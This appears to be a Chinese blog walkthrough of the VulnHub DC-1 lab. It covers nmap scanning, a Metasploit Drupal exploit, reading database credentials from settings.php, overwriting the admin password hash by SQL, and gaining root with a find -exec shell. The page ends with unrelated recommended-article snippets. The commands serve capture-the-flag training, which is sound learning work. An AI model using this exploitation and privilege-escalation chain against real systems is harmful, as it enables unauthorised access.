准备工作

在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/

导入到vmware

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

可以看到ip为192.168.200.12的主机开放了22、80、111端口,该主机为靶机DC:1。

开始渗透

开放了80端口意味着我们可以访问他的网站,先访问192.168.200.12:80看看什么情况

是一个登陆的界面,尝试了admin等弱口令后没有结果,暂时找不到其他渗透点,只能先用dirsearch扫一遍

python3 dirsearch.py -u http://192.168.200.12:80

但是没有什么有用的信息,尝试抓包后也没有注意到什么注入点,只能看看有没有框架的漏洞

利用wappalyzer插件来查看这个网站的cms

查到cms是Drupal

接着用msf查看一下有没有关于这个cms的漏洞

在终端输入msfconsole打开msf

search一下关于drupal的漏洞

search drupal

在尝试了几个攻击模块后,发现只有第四个漏洞可以利用

use 4
set RHOSTS 192.168.200.12
run

成功连接,得到meterpreter会话

拿到shell

用ls命令查看当前的文件

注意到有一个flag1.txt文件 cat flag1.txt 查看一下里面的内容

拿到flag1

flag1给了一个小提示,翻译过来就是"每一个好的CMS都需要一个配置文件-你也是。"

那就去查看一下配置文件

Drupal的配置文件是网站根目录下的/sites/defaultx下的setting.php文件。

cd到sites 再cd到defaultx 再cat settings.php

看到了flag2以及数据库的账号密码

这里flag2也给了提示,翻译过来就是

暴力和字典攻击不是最好的选择

获得访问权限的唯一方法(您将需要访问权限)。

你能用这些证书做什么

先尝试登陆一下数据库

mysql -u dbuser -pR0ck3t  

连接成功,但是却无论输入什么都没有回显,应该是权限不足,目标主机限制了访问权限

从这开始就涉及到我的知识盲区了,目前为止我还没有学习相关的提权方法,只能跟着网上的一些文章一步步来,也当是一个初次尝试提权

权限提升

使用python 通过pty.spawn()获得交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

连接数据库

mysql -u dbuser -pR0ck3t

 

进入数据库后先查看一下数据库

show databases;

再进入drupaldb数据库查看他的表

use drupaldb;
show tables;

注意到名为user的表,查看一下

select * from user;

找到了登陆的账号密码,密码不知道是什么加密方法,

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

回到根目录执行 password-hash.sh 文件进行加密(这里不能在scripts目录下进行,否则会报错)

php ./scripts/password-hash.sh admin

将admin加密后得到的是$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1

得到了加密后的密码,就可以进入数据库修改密码啦  

update users set pass='$S$DJkC7CVBb0dIx0ySitpfjUZyZ8rioKgogBsDSvpAZHOvUy1p4rq1' where name='admin';

 

回到开始的网站上用刚刚的账户密码admin:admin 登陆进去

在后台找到了flag3文件

打开flag3文件又得到一个提示

提示找到passwd文件

passwd文件在etc中

这里找到了flag4的路径在 /home/flag4中

得到flag4

使用find命令提权,root。

find ./ aaa -exec '/bin/sh' \;

进入root根目录找到最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

参考文章

https://www.cnblogs.com/Gh0st1nTheShell/p/14842221.html

https://www.freesion.com/article/1909443385/

vulnhub-DC:1靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. 把HttpClient换成IHttpClientFactory之后,放心多了

    前言 关于HttpClient的使用,个人在很多场景都派上用场了,比如在Winform或后台服务中用其调用接口获取和上传数据.微服务中用其进行各服务之间的数据共享等,到目前来看,似乎还没有出现过什么问 ...

  2. 【VBA】测试程序运行时间,延时方法

    测试程序运行时间 Dim start As Date start = Now() Dim i As Long For i = 0 To 10000000 ' 10 million Next Debug ...

  3. daily plan

    想了想自己留的坑有点多了,写个计划提醒自己 一些没做出来的题 csp-s模拟测试54 z csp-s模拟测试b层加餐 string 平衡树+并查集 因为某杰的**安排,没时间改了csp-s模拟测试47 ...

  4. 【模拟7.22】visit(卢卡斯定理&&中国剩余定理)

    如此显然的组合数我把它当DP做,我真是.... 因为起点终点已经确定,我们发现如果我们确定了一个方向的步数其他方向也就确定了 组合数做法1: 设向右走了a步,然后向左走了b=a-n步,设向上为c,向下 ...

  5. VBS脚本编程(1)——数据类型、变量和常量

    数据类型 VBS只有一种数据类型,称为Variant.而该类型是可变的,以下是Variant的子类型: 子类型 描述 Empty 未初始化的Variant.对于数值变量,值为0:对于字符串变量,值为零 ...

  6. N沟通场效应管深度图解(1)工作原理及Multisim实例仿真

    场效应晶体管(Field Effect Transistor, FET)简称场效应管,是一种由多数载流子参与导电的半导体器件,也称为单极型晶体管,它主要分型场效应管(Junction FET, JFE ...

  7. VsCode中添加tasks.json

    选中项目文件夹,按ctrl+shift+p,输入tasks 选择之后,继续选择 然后选择 选中就可以了

  8. VueX理解

    什么是Vuex? 官方说法:Vuex 是一个专为 Vue.js应用程序开发的状态管理模式.它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化. 个人理解:Vue ...

  9. 2、SpringBoot整合之SpringBoot整合servlet

    SpringBoot整合servlet 一.创建SpringBoot项目,仅选择Web模块即可 二.在POM文件中添加依赖 <!-- 添加servlet依赖模块 --> <depen ...

  10. Keyboarding(信息学奥赛一本通-T1452)

    [题目描述] 出自 World Final 2015 F. Keyboarding 给定一个 r 行 c 列的在电视上的"虚拟键盘",通过「上,下,左,右,选择」共 5 个控制键, ...